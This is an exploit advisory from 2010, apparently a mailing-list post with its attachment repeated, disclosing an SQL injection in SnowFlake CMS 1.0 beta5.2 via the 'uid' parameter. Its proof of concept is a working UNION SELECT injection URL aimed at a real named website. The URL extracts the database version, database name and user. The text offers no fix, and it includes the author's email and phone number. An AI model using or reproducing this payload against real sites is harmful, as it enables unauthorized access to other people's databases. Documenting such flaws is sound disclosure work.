Security

  Text :  

####
# Exploit Title: Powered by SnowFlake Content Management System SQL
Injection
#
# Date: 19th july 2010
#
# Author: Dinesh Arora
#
# Critical:high
#
# Affected / Tested Version : 1.0 beta5.2
#
# Sample Affected Parameter: uid
#
# contact: dinesh.dinoo@gmail.com
#
# Greetz to :b0nd, Fbih2s,Beenu,Charles ,j4ckh4x0r, punter,eberly
#
# Shoutz to : http://www.garage4hackers.com , www.beenuarora.com
#
# POC:
http://www.skimuseum.org/page.php?cid=galleries&uid=1+and+1=2+union+sel
ect+1,concat%28version%28%29,0x3a,database%28%29,0x3a,user%28%29%29,3,4,5,6
,7--
#
#
#################

--
------------------
Regards
Dinesh
9999846893


SnowFlake - SQL Injection.txt

#################################################################
# Exploit Title: Powered by SnowFlake Content Management System SQL
Injection
#
# Date: 19th july 2010
#
# Author: Dinesh Arora
#
# Critical:high
#
# Affected / Tested Version : 1.0 beta5.2
#
# Sample Affected Parameter: uid
#
# contact: dinesh.dinoo@gmail.com
#
# Greetz to :b0nd, Fbih2s,Beenu,Charles ,j4ckh4x0r, punter,eberly
#
# Shoutz to : http://www.garage4hackers.com , www.beenuarora.com
#
# POC:
http://www.skimuseum.org/page.php?cid=galleries&uid=1+and+1=2+union+sel
ect+1,concat%28version%28%29,0x3a,database%28%29,0x3a,user%28%29%29,3,4,5,6
,7--
#
#
#################